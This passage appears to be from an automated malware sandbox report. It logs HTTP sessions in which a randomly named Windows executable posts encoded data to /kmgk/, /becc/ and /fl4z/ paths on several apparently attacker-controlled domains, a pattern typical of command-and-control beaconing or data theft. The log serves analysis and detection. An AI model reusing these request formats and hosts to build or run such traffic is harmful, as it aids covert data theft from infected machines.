                                                                                                                                                                    Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                                    2192.168.2.56209781.2.196.19802956C:\Program Files (x86)\lvZkYUwJbopMFPlXzcoFrBqTsEFMGtmXSmhqqiqLRaiGXLxfBezrdMaEAhbZxWmwBAPbEs\aqHVlkxOGyJW.exe
                                                                                                                                                                    TimestampBytes transferredDirectionData
                                                                                                                                                                    Oct 25, 2024 16:27:49.923149109 CEST704OUTPOST /kmgk/ HTTP/1.1
                                                                                                                                                                    Accept: */*
                                                                                                                                                                    Accept-Encoding: gzip, deflate, br
                                                                                                                                                                    Accept-Language: en-US,en
                                                                                                                                                                    Connection: close
                                                                                                                                                                    Content-Type: application/x-www-form-urlencoded
                                                                                                                                                                    Content-Length: 229
                                                                                                                                                                    Cache-Control: no-cache
                                                                                                                                                                    Host: www.kovallo.cloud
                                                                                                                                                                    Origin: http://www.kovallo.cloud
                                                                                                                                                                    Referer: http://www.kovallo.cloud/kmgk/
                                                                                                                                                                    User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET4.0E; .NET4.0C)
                                                                                                                                                                    Data Raw: 74 44 33 38 72 6e 70 58 3d 64 73 4d 71 6b 78 78 6d 51 6a 2b 56 38 39 67 37 68 68 57 55 70 56 68 64 32 54 33 65 4d 49 30 32 6a 56 4e 77 38 5a 39 39 33 5a 2f 7a 56 37 59 7a 4f 57 72 38 6b 6a 7a 73 6e 41 62 63 64 51 4d 50 30 4d 38 49 68 61 49 4d 45 6a 35 66 43 46 59 5a 6c 67 39 46 65 7a 6f 42 58 4a 48 6a 47 46 4e 33 47 64 67 7a 34 57 34 6d 43 72 32 6e 2b 4a 53 76 54 47 31 76 33 52 52 53 50 2f 4b 70 44 76 2f 45 2f 52 6a 79 74 71 7a 49 70 79 31 4b 79 42 6d 7a 44 63 31 55 6f 39 64 65 6b 48 67 71 55 7a 50 4d 59 58 56 2b 52 2b 73 73 53 34 54 53 49 78 67 57 74 4b 74 43 51 4b 77 53 6f 31 62 5a 36 7a 55 4d 37 56 72 6e 30 50 34 5a 30 75 52 33 35 77 71 43 66 58 58 31 35 45 34 44 6b 51 6b 4f
                                                                                                                                                                    Data Ascii: tD38rnpX=dsMqkxxmQj+V89g7hhWUpVhd2T3eMI02jVNw8Z993Z/zV7YzOWr8kjzsnAbcdQMP0M8IhaIMEj5fCFYZlg9FezoBXJHjGFN3Gdgz4W4mCr2n+JSvTG1v3RRSP/KpDv/E/RjytqzIpy1KyBmzDc1Uo9dekHgqUzPMYXV+R+ssS4TSIxgWtKtCQKwSo1bZ6zUM7Vrn0P4Z0uR35wqCfXX15E4DkQkO
                                                                                                                                                                    Oct 25, 2024 16:27:50.769629955 CEST355INHTTP/1.1 404 Not Found
                                                                                                                                                                    Server: nginx
                                                                                                                                                                    Date: Fri, 25 Oct 2024 14:27:50 GMT
                                                                                                                                                                    Content-Type: text/html
                                                                                                                                                                    Transfer-Encoding: chunked
                                                                                                                                                                    Connection: close
                                                                                                                                                                    Content-Encoding: gzip
                                                                                                                                                                    Data Raw: 61 61 0d 0a 1f 8b 08 00 00 00 00 00 04 03 ed 90 b1 0a 02 31 10 44 7b c1 7f 58 3f 20 44 e1 ca 25 8d 28 58 68 e3 17 e4 dc f5 12 c8 6d 8e 18 c1 fb 7b 13 bd 03 b1 b6 b4 dc 99 37 c3 b0 e8 72 1f cc 72 81 8e 2d 19 cc 3e 07 36 cd ba 81 53 cc b0 8f 77 21 d4 6f 11 f5 0b 29 68 1b 69 ac 91 0b 4b e6 64 d0 6d be 13 45 41 3d d9 b5 bb 40 d3 25 9d 97 c7 a7 a7 e7 36 3d 2f 59 29 05 16 06 4b e4 a5 83 1c 81 fc cd b6 81 e1 78 3e ec c0 0a c1 d6 a5 d8 33 5c 93 67 a1 30 02 a7 14 53 49 74 0c 4a d5 65 ff 8a 5f fe e2 09 27 a7 bf a8 24 02 00 00 0d 0a 30 0d 0a 0d 0a
                                                                                                                                                                    Data Ascii: aa1D{X? D%(Xhm{7rr->6Sw!o)hiKdmEA=@%6=/Y)Kx>3\g0SItJe_'$0


                                                                                                                                                                    Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                                    3192.168.2.56211481.2.196.19802956C:\Program Files (x86)\lvZkYUwJbopMFPlXzcoFrBqTsEFMGtmXSmhqqiqLRaiGXLxfBezrdMaEAhbZxWmwBAPbEs\aqHVlkxOGyJW.exe
                                                                                                                                                                    TimestampBytes transferredDirectionData
                                                                                                                                                                    Oct 25, 2024 16:27:52.467803001 CEST1721OUTPOST /kmgk/ HTTP/1.1
                                                                                                                                                                    Accept: */*
                                                                                                                                                                    Accept-Encoding: gzip, deflate, br
                                                                                                                                                                    Accept-Language: en-US,en
                                                                                                                                                                    Connection: close
                                                                                                                                                                    Content-Type: application/x-www-form-urlencoded
                                                                                                                                                                    Content-Length: 1245
                                                                                                                                                                    Cache-Control: no-cache
                                                                                                                                                                    Host: www.kovallo.cloud
                                                                                                                                                                    Origin: http://www.kovallo.cloud
                                                                                                                                                                    Referer: http://www.kovallo.cloud/kmgk/
                                                                                                                                                                    User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET4.0E; .NET4.0C)
                                                                                                                                                                    Data Raw: 74 44 33 38 72 6e 70 58 3d 64 73 4d 71 6b 78 78 6d 51 6a 2b 56 38 39 67 37 68 68 57 55 70 56 68 64 32 54 33 65 4d 49 30 32 6a 56 4e 77 38 5a 39 39 33 59 48 7a 56 4f 4d 7a 66 46 7a 38 6c 6a 7a 73 35 51 62 52 64 51 4d 65 30 50 4d 4d 68 61 45 32 45 68 78 66 44 6e 51 5a 30 46 42 46 51 7a 6f 42 49 35 47 6b 5a 56 4e 69 47 64 78 36 34 57 6f 6d 43 72 32 6e 2b 50 2b 76 44 6e 31 76 73 52 52 56 5a 76 4b 6c 4a 50 2b 62 2f 52 37 4d 74 71 6d 31 71 43 56 4b 78 6c 43 7a 42 75 74 55 67 39 64 59 6e 48 67 49 55 7a 54 44 59 58 4a 63 52 2b 5a 35 53 34 62 53 4e 51 49 42 2b 6f 5a 2f 47 70 6f 7a 70 56 57 30 6e 46 6f 55 79 32 53 57 77 64 52 35 35 36 59 56 2b 6d 61 44 4b 46 47 43 75 43 70 54 6c 67 56 76 62 39 76 32 46 65 50 35 6c 6f 5a 65 39 49 61 44 33 50 4f 48 77 6d 4d 51 2f 37 30 71 6f 55 63 4b 53 47 53 4c 42 2b 43 30 32 2f 6e 6e 49 51 34 7a 35 77 4e 44 33 4c 69 49 2f 72 6f 35 63 53 2b 61 6b 47 47 43 44 4a 53 73 54 75 57 74 49 59 54 45 34 63 6e 33 72 30 44 79 69 45 34 65 63 32 4b 77 57 63 74 72 58 42 66 37 6a 30 39 64 2b [TRUNCATED]
                                                                                                                                                                    Data Ascii: tD38rnpX=dsMqkxxmQj+V89g7hhWUpVhd2T3eMI02jVNw8Z993YHzVOMzfFz8ljzs5QbRdQMe0PMMhaE2EhxfDnQZ0FBFQzoBI5GkZVNiGdx64WomCr2n+P+vDn1vsRRVZvKlJP+b/R7Mtqm1qCVKxlCzButUg9dYnHgIUzTDYXJcR+Z5S4bSNQIB+oZ/GpozpVW0nFoUy2SWwdR556YV+maDKFGCuCpTlgVvb9v2FeP5loZe9IaD3POHwmMQ/70qoUcKSGSLB+C02/nnIQ4z5wND3LiI/ro5cS+akGGCDJSsTuWtIYTE4cn3r0DyiE4ec2KwWctrXBf7j09d+8i7tfSeWLNQqX50oCDZWgl1UcgUdtVwRG8hbNc0akvIG6iZljDxEdzsMv052NpwKGSUoTHeHP0X10svmHeqoeKwyfTux2BgugkgM+fOpadnXjWYSTqMnXFpX6dWjBoPE0XY7CE87ebRi3E5by3+EfOOi04oGXCG0+LPj1d3BgDdLtCRiPBwje3I+6hC+ksYTrzEXdh8TeFmjx3CqUo5fqrG+hkMM7sJW7HdWUFd3gm86Xyfm91hgWcrvn/6GwvA9tnr36+YCXNYJE8EtoGaXK5FaO5u8Vra95x6wz3HO0t7BRYs7E/aBHnQX+nMCM9wih7OL0OBxcg2Wuga0hrgT+9D4PAV7MBA+nbgOeHo/v0vJP2mtjefwYEgmmjyYtwMIQatL2LMJc4HN+uZMJLq0+NqKSK7sPZ2mC7F/h9ArrA+FiydVg4aLKMY1AiB/SWqXdsmQ42/WtH1xlKC5HvU+FPegLgQLn2LtD2MxvXCMkJ2nQOVo0obUKQUzTjBvINGH2HR+oWiFcbvnq/GOckEUKnnAc+UzHcfwRXkmB2UICTjVVTEhfXWSCQ+uP1HMwvBKKWyK3reP5v5LsIyfvy+vdaT/s2gm4Cd2PmYp+k4+/EnYKas2eTjCxcefVHUozEbUyA3+KWnsScop5/62WXPD9VlNQuPd8LlwYJ [TRUNCATED]
                                                                                                                                                                    Oct 25, 2024 16:27:53.346615076 CEST355INHTTP/1.1 404 Not Found
                                                                                                                                                                    Server: nginx
                                                                                                                                                                    Date: Fri, 25 Oct 2024 14:27:53 GMT
                                                                                                                                                                    Content-Type: text/html
                                                                                                                                                                    Transfer-Encoding: chunked
                                                                                                                                                                    Connection: close
                                                                                                                                                                    Content-Encoding: gzip
                                                                                                                                                                    Data Raw: 61 61 0d 0a 1f 8b 08 00 00 00 00 00 04 03 ed 90 b1 0a 02 31 10 44 7b c1 7f 58 3f 20 44 e1 ca 25 8d 28 58 68 e3 17 e4 dc f5 12 c8 6d 8e 18 c1 fb 7b 13 bd 03 b1 b6 b4 dc 99 37 c3 b0 e8 72 1f cc 72 81 8e 2d 19 cc 3e 07 36 cd ba 81 53 cc b0 8f 77 21 d4 6f 11 f5 0b 29 68 1b 69 ac 91 0b 4b e6 64 d0 6d be 13 45 41 3d d9 b5 bb 40 d3 25 9d 97 c7 a7 a7 e7 36 3d 2f 59 29 05 16 06 4b e4 a5 83 1c 81 fc cd b6 81 e1 78 3e ec c0 0a c1 d6 a5 d8 33 5c 93 67 a1 30 02 a7 14 53 49 74 0c 4a d5 65 ff 8a 5f fe e2 09 27 a7 bf a8 24 02 00 00 0d 0a 30 0d 0a 0d 0a
                                                                                                                                                                    Data Ascii: aa1D{X? D%(Xhm{7rr->6Sw!o)hiKdmEA=@%6=/Y)Kx>3\g0SItJe_'$0


                                                                                                                                                                    Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                                    4192.168.2.56212681.2.196.19802956C:\Program Files (x86)\lvZkYUwJbopMFPlXzcoFrBqTsEFMGtmXSmhqqiqLRaiGXLxfBezrdMaEAhbZxWmwBAPbEs\aqHVlkxOGyJW.exe
                                                                                                                                                                    TimestampBytes transferredDirectionData
                                                                                                                                                                    Oct 25, 2024 16:27:55.018166065 CEST426OUTGET /kmgk/?tD38rnpX=QukKnG46OQSX7O08sGKvg3RM3X3qAaYvhEJu7ZdGlt3+bssdK2PjljbXjRv2eFs2wJoIh8oMTDRJEFcKnARzWykVQry7ZncTD9wSlVtUUKSJ1PHuSGlsoS10aeDaXfnAjA==&EjY0i=xfOdKrMPu HTTP/1.1
                                                                                                                                                                    Accept: */*
                                                                                                                                                                    Accept-Language: en-US,en
                                                                                                                                                                    Connection: close
                                                                                                                                                                    Host: www.kovallo.cloud
                                                                                                                                                                    User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET4.0E; .NET4.0C)
                                                                                                                                                                    Oct 25, 2024 16:27:56.022959948 CEST691INHTTP/1.1 404 Not Found
                                                                                                                                                                    Server: nginx
                                                                                                                                                                    Date: Fri, 25 Oct 2024 14:27:55 GMT
                                                                                                                                                                    Content-Type: text/html
                                                                                                                                                                    Content-Length: 548
                                                                                                                                                                    Connection: close
                                                                                                                                                                    Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 [TRUNCATED]
                                                                                                                                                                    Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->


                                                                                                                                                                    Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                                    5192.168.2.56216194.73.146.114802956C:\Program Files (x86)\lvZkYUwJbopMFPlXzcoFrBqTsEFMGtmXSmhqqiqLRaiGXLxfBezrdMaEAhbZxWmwBAPbEs\aqHVlkxOGyJW.exe
                                                                                                                                                                    TimestampBytes transferredDirectionData
                                                                                                                                                                    Oct 25, 2024 16:28:01.175962925 CEST705OUTPOST /becc/ HTTP/1.1
                                                                                                                                                                    Accept: */*
                                                                                                                                                                    Accept-Encoding: gzip, deflate, br
                                                                                                                                                                    Accept-Language: en-US,en
                                                                                                                                                                    Connection: close
                                                                                                                                                                    Content-Type: application/x-www-form-urlencoded
                                                                                                                                                                    Content-Length: 209
                                                                                                                                                                    Cache-Control: no-cache
                                                                                                                                                                    Host: www.sppsuperplast.online
                                                                                                                                                                    Origin: http://www.sppsuperplast.online
                                                                                                                                                                    Referer: http://www.sppsuperplast.online/becc/
                                                                                                                                                                    User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET4.0E; .NET4.0C)
                                                                                                                                                                    Data Raw: 74 44 33 38 72 6e 70 58 3d 41 4f 71 41 6d 43 52 4f 38 78 35 70 42 7a 34 30 55 47 37 53 41 4f 6b 4b 69 4c 78 34 34 36 31 61 4e 71 36 64 6a 62 5a 2b 46 4b 4b 58 57 6e 44 43 4e 6d 46 76 52 63 4d 2b 37 72 50 78 67 51 42 47 48 34 78 58 76 46 33 75 2b 37 2b 33 45 61 55 6b 78 4e 53 49 75 2b 74 6b 69 58 32 4e 4a 64 78 57 76 79 69 72 55 39 45 6e 51 44 53 4e 72 36 47 59 43 45 6d 42 62 47 4f 66 78 4c 4c 45 30 43 39 68 38 44 59 52 65 65 33 68 73 51 39 6c 4a 41 7a 53 77 45 30 4f 68 34 71 5a 38 46 41 45 58 55 46 7a 49 65 4e 75 69 47 70 62 46 75 52 41 2f 39 4f 78 64 30 58 57 36 6e 64 64 6e 6b 34 6e 36 59 49 32 4a 53 66 36 39 38 59 3d
                                                                                                                                                                    Data Ascii: tD38rnpX=AOqAmCRO8x5pBz40UG7SAOkKiLx4461aNq6djbZ+FKKXWnDCNmFvRcM+7rPxgQBGH4xXvF3u+7+3EaUkxNSIu+tkiX2NJdxWvyirU9EnQDSNr6GYCEmBbGOfxLLE0C9h8DYRee3hsQ9lJAzSwE0Oh4qZ8FAEXUFzIeNuiGpbFuRA/9Oxd0XW6nddnk4n6YI2JSf698Y=


                                                                                                                                                                    Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                                    6192.168.2.56217494.73.146.114802956C:\Program Files (x86)\lvZkYUwJbopMFPlXzcoFrBqTsEFMGtmXSmhqqiqLRaiGXLxfBezrdMaEAhbZxWmwBAPbEs\aqHVlkxOGyJW.exe
                                                                                                                                                                    TimestampBytes transferredDirectionData
                                                                                                                                                                    Oct 25, 2024 16:28:03.719346046 CEST725OUTPOST /becc/ HTTP/1.1
                                                                                                                                                                    Accept: */*
                                                                                                                                                                    Accept-Encoding: gzip, deflate, br
                                                                                                                                                                    Accept-Language: en-US,en
                                                                                                                                                                    Connection: close
                                                                                                                                                                    Content-Type: application/x-www-form-urlencoded
                                                                                                                                                                    Content-Length: 229
                                                                                                                                                                    Cache-Control: no-cache
                                                                                                                                                                    Host: www.sppsuperplast.online
                                                                                                                                                                    Origin: http://www.sppsuperplast.online
                                                                                                                                                                    Referer: http://www.sppsuperplast.online/becc/
                                                                                                                                                                    User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET4.0E; .NET4.0C)
                                                                                                                                                                    Data Raw: 74 44 33 38 72 6e 70 58 3d 41 4f 71 41 6d 43 52 4f 38 78 35 70 41 54 49 30 48 31 44 53 43 75 6b 46 74 72 78 34 7a 61 30 54 4e 71 6d 64 6a 61 74 51 46 66 61 58 59 6a 48 43 4d 6b 74 76 53 63 4d 2b 7a 4c 50 30 6b 51 42 33 48 34 38 71 76 48 6a 75 2b 37 61 33 45 59 4d 6b 78 38 53 4c 75 75 74 71 70 33 32 54 4e 64 78 57 76 79 69 72 55 39 42 76 51 44 4b 4e 72 70 65 59 54 51 36 47 57 6d 4f 63 32 4c 4c 45 77 43 39 74 38 44 59 33 65 61 76 4c 73 53 46 6c 4a 42 44 53 78 52 41 4a 36 6f 71 44 78 6c 42 33 47 31 45 2b 4f 64 68 30 6d 46 51 37 51 6f 68 72 7a 72 6a 62 48 57 66 2b 70 48 78 6c 33 33 77 51 72 6f 70 66 54 78 50 4b 6a 72 4f 70 66 45 6c 41 70 57 4b 34 71 2b 77 79 75 73 46 5a 74 76 4c 31
                                                                                                                                                                    Data Ascii: tD38rnpX=AOqAmCRO8x5pATI0H1DSCukFtrx4za0TNqmdjatQFfaXYjHCMktvScM+zLP0kQB3H48qvHju+7a3EYMkx8SLuutqp32TNdxWvyirU9BvQDKNrpeYTQ6GWmOc2LLEwC9t8DY3eavLsSFlJBDSxRAJ6oqDxlB3G1E+Odh0mFQ7QohrzrjbHWf+pHxl33wQropfTxPKjrOpfElApWK4q+wyusFZtvL1


                                                                                                                                                                    Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                                    7192.168.2.56219094.73.146.114802956C:\Program Files (x86)\lvZkYUwJbopMFPlXzcoFrBqTsEFMGtmXSmhqqiqLRaiGXLxfBezrdMaEAhbZxWmwBAPbEs\aqHVlkxOGyJW.exe
                                                                                                                                                                    TimestampBytes transferredDirectionData
                                                                                                                                                                    Oct 25, 2024 16:28:06.265767097 CEST1742OUTPOST /becc/ HTTP/1.1
                                                                                                                                                                    Accept: */*
                                                                                                                                                                    Accept-Encoding: gzip, deflate, br
                                                                                                                                                                    Accept-Language: en-US,en
                                                                                                                                                                    Connection: close
                                                                                                                                                                    Content-Type: application/x-www-form-urlencoded
                                                                                                                                                                    Content-Length: 1245
                                                                                                                                                                    Cache-Control: no-cache
                                                                                                                                                                    Host: www.sppsuperplast.online
                                                                                                                                                                    Origin: http://www.sppsuperplast.online
                                                                                                                                                                    Referer: http://www.sppsuperplast.online/becc/
                                                                                                                                                                    User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET4.0E; .NET4.0C)
                                                                                                                                                                    Data Raw: 74 44 33 38 72 6e 70 58 3d 41 4f 71 41 6d 43 52 4f 38 78 35 70 41 54 49 30 48 31 44 53 43 75 6b 46 74 72 78 34 7a 61 30 54 4e 71 6d 64 6a 61 74 51 46 66 53 58 59 51 50 43 4e 46 74 76 54 63 4d 2b 39 72 50 31 6b 51 42 71 48 38 5a 68 76 48 2f 55 2b 35 53 33 46 37 45 6b 7a 4f 36 4c 67 75 74 71 6d 58 32 4f 4a 64 77 65 76 32 47 76 55 38 78 76 51 44 4b 4e 72 6f 75 59 54 45 6d 47 46 32 4f 66 78 4c 4c 59 30 43 39 42 38 43 39 43 65 61 6a 78 73 6a 6c 6c 51 69 72 53 7a 6a 6f 4a 6e 34 71 46 2f 46 42 76 47 77 64 2b 4f 64 39 34 6d 45 30 64 51 76 4e 72 78 36 47 79 55 45 44 6b 33 57 73 47 33 6c 46 38 32 34 39 66 53 78 33 78 6b 49 7a 4e 51 67 49 70 72 44 32 48 75 64 70 4b 30 71 78 35 76 49 43 70 32 76 67 4c 4b 47 54 68 56 30 48 47 2f 74 43 73 54 52 33 63 33 69 37 2b 46 4a 46 6f 2f 62 46 33 42 56 54 46 61 70 4e 39 36 7a 46 58 34 43 73 6c 64 6a 76 6c 6b 38 6a 7a 2b 46 51 73 65 47 4e 59 4a 63 59 77 62 64 37 64 62 2b 77 58 6d 45 55 4d 50 52 58 4f 57 67 75 46 35 74 41 6e 65 37 62 42 56 4e 65 36 4a 5a 46 64 6d 39 67 59 37 [TRUNCATED]
                                                                                                                                                                    Data Ascii: tD38rnpX=AOqAmCRO8x5pATI0H1DSCukFtrx4za0TNqmdjatQFfSXYQPCNFtvTcM+9rP1kQBqH8ZhvH/U+5S3F7EkzO6LgutqmX2OJdwev2GvU8xvQDKNrouYTEmGF2OfxLLY0C9B8C9CeajxsjllQirSzjoJn4qF/FBvGwd+Od94mE0dQvNrx6GyUEDk3WsG3lF8249fSx3xkIzNQgIprD2HudpK0qx5vICp2vgLKGThV0HG/tCsTR3c3i7+FJFo/bF3BVTFapN96zFX4Csldjvlk8jz+FQseGNYJcYwbd7db+wXmEUMPRXOWguF5tAne7bBVNe6JZFdm9gY7Vt/RyVLzafEqt3XBgvza/u9G85JvZnSu/ntWj1zlDXn/K3/qcmpc+rD41NAifcZJdF+N3DleLGKZD5PDSWqXXWrAZlQCF8KPjLY4l8+J/PxvSPjZxefCxwxeG2wlSELY+i5m/0J52thZg4w/n4RUVTTriCkrqwRxFQ8iG+xRBCCcGfN0hae60tb1IOkFxZtzpP+WjVpOjDFtsNitreJt9hm2mw+YYq5VKJ+rfrF+Ap+QKoM41Eh3xUnoSBk/u2Q2/Z2likek8CrfsHeEhGZjXFGJUWn/PySGtMbVhlbyEeoYOk3xhARaCDmYPF8kMM7+Vb6AtJIuHckldP89Oj6GmqqJPsHHuRMR2Amt5xGZBwCnJ87/qZqHRfNmwE1YYSpW0xDKO4nF+LK/foLtgPwJ1vXTB2V1ykTfXTinUSEK97q/gh+HUOwV2cp1kPxGBLzpui3U8UQ16jREXNMCIKCRu0JGmC4AW2z1fbFvgBatLxreRcFgeeJtN8bNeKfZRL2fxkor7hB1XvP4lH6ymZIecUzg/XyPzfjsmnfV9m3llscxxB1vou7QeZ73XRDQ1OewTFqbn+jTeBRWoTssvRases2Xz7RmhhLImm9jJpq8fVJUzh1AhdoC9nwoaKF/1G+FL+TUj5+SAFbeOr8lrYbjRhaWogm7Pw8GXB [TRUNCATED]


                                                                                                                                                                    Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                                    8192.168.2.56219594.73.146.114802956C:\Program Files (x86)\lvZkYUwJbopMFPlXzcoFrBqTsEFMGtmXSmhqqiqLRaiGXLxfBezrdMaEAhbZxWmwBAPbEs\aqHVlkxOGyJW.exe
                                                                                                                                                                    TimestampBytes transferredDirectionData
                                                                                                                                                                    Oct 25, 2024 16:28:08.809643984 CEST433OUTGET /becc/?tD38rnpX=NMCgl399tF1pJwA6An/WBP0ajP560ZE7ZZq+0r9zHfOkYA3BHmcUXc8X+6X2iixUCsZsuiX+6YOVLq03j5m1moFR53yiG80M6W+9XtA+QAGi4qenDi/3bWCk4qyGtSk7mA==&EjY0i=xfOdKrMPu HTTP/1.1
                                                                                                                                                                    Accept: */*
                                                                                                                                                                    Accept-Language: en-US,en
                                                                                                                                                                    Connection: close
                                                                                                                                                                    Host: www.sppsuperplast.online
                                                                                                                                                                    User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET4.0E; .NET4.0C)
                                                                                                                                                                    Oct 25, 2024 16:28:10.930572033 CEST516INHTTP/1.1 301 Moved Permanently
                                                                                                                                                                    Connection: close
                                                                                                                                                                    x-powered-by: PHP/8.1.29
                                                                                                                                                                    expires: Wed, 11 Jan 1984 05:00:00 GMT
                                                                                                                                                                    cache-control: no-cache, must-revalidate, max-age=0
                                                                                                                                                                    content-type: text/html; charset=UTF-8
                                                                                                                                                                    x-redirect-by: WordPress
                                                                                                                                                                    location: http://sppsuperplast.online/becc/?tD38rnpX=NMCgl399tF1pJwA6An/WBP0ajP560ZE7ZZq+0r9zHfOkYA3BHmcUXc8X+6X2iixUCsZsuiX+6YOVLq03j5m1moFR53yiG80M6W+9XtA+QAGi4qenDi/3bWCk4qyGtSk7mA==&EjY0i=xfOdKrMPu
                                                                                                                                                                    content-length: 0
                                                                                                                                                                    date: Fri, 25 Oct 2024 14:28:10 GMT
                                                                                                                                                                    server: LiteSpeed


                                                                                                                                                                    Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                                    9192.168.2.5621963.33.130.190802956C:\Program Files (x86)\lvZkYUwJbopMFPlXzcoFrBqTsEFMGtmXSmhqqiqLRaiGXLxfBezrdMaEAhbZxWmwBAPbEs\aqHVlkxOGyJW.exe
                                                                                                                                                                    TimestampBytes transferredDirectionData
                                                                                                                                                                    Oct 25, 2024 16:28:16.128036976 CEST675OUTPOST /fl4z/ HTTP/1.1
                                                                                                                                                                    Accept: */*
                                                                                                                                                                    Accept-Encoding: gzip, deflate, br
                                                                                                                                                                    Accept-Language: en-US,en
                                                                                                                                                                    Connection: close
                                                                                                                                                                    Content-Type: application/x-www-form-urlencoded
                                                                                                                                                                    Content-Length: 209
                                                                                                                                                                    Cache-Control: no-cache
                                                                                                                                                                    Host: www.tracy.club
                                                                                                                                                                    Origin: http://www.tracy.club
                                                                                                                                                                    Referer: http://www.tracy.club/fl4z/
                                                                                                                                                                    User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET4.0E; .NET4.0C)
                                                                                                                                                                    Data Raw: 74 44 33 38 72 6e 70 58 3d 75 50 66 71 6e 39 55 42 49 2b 7a 7a 65 70 5a 47 67 62 4c 59 6e 35 61 47 31 74 46 43 49 73 57 73 75 7a 37 67 77 61 41 4c 49 2f 6b 4d 66 35 6e 78 69 35 73 6a 78 4c 74 30 54 4a 53 49 32 6f 31 76 36 4d 51 46 58 6c 57 78 4a 55 65 34 5a 4b 67 61 4b 4a 30 6a 63 71 34 70 77 71 62 5a 50 65 4a 79 54 73 4c 4b 44 35 76 4c 66 69 75 64 55 47 63 44 47 66 45 4a 62 71 71 4e 45 41 68 58 46 38 69 76 53 62 6b 59 48 37 53 37 4c 56 31 4b 4a 52 5a 74 41 33 6d 33 30 45 75 67 54 76 48 78 2b 67 6a 73 2b 4b 41 46 43 67 50 33 76 74 69 37 78 50 31 65 68 64 2b 7a 71 73 76 70 67 48 30 55 66 50 72 33 32 58 50 6e 44 67 63 3d
                                                                                                                                                                    Data Ascii: tD38rnpX=uPfqn9UBI+zzepZGgbLYn5aG1tFCIsWsuz7gwaALI/kMf5nxi5sjxLt0TJSI2o1v6MQFXlWxJUe4ZKgaKJ0jcq4pwqbZPeJyTsLKD5vLfiudUGcDGfEJbqqNEAhXF8ivSbkYH7S7LV1KJRZtA3m30EugTvHx+gjs+KAFCgP3vti7xP1ehd+zqsvpgH0UfPr32XPnDgc=


                                                                                                                                                                    Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                                    10192.168.2.5621973.33.130.190802956C:\Program Files (x86)\lvZkYUwJbopMFPlXzcoFrBqTsEFMGtmXSmhqqiqLRaiGXLxfBezrdMaEAhbZxWmwBAPbEs\aqHVlkxOGyJW.exe
                                                                                                                                                                    TimestampBytes transferredDirectionData
                                                                                                                                                                    Oct 25, 2024 16:28:18.671732903 CEST695OUTPOST /fl4z/ HTTP/1.1
                                                                                                                                                                    Accept: */*
                                                                                                                                                                    Accept-Encoding: gzip, deflate, br
                                                                                                                                                                    Accept-Language: en-US,en
                                                                                                                                                                    Connection: close
                                                                                                                                                                    Content-Type: application/x-www-form-urlencoded
                                                                                                                                                                    Content-Length: 229
                                                                                                                                                                    Cache-Control: no-cache
